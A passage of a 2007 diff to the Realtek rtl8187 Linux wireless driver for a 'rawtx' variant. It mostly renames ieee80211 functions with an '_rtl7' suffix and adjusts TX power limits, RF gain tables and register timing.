ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-06-21 23:44:42.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-06-21 23:44:38.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-06-21 23:44:42.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-06-21 23:44:38.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-06-25 23:58:06.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + 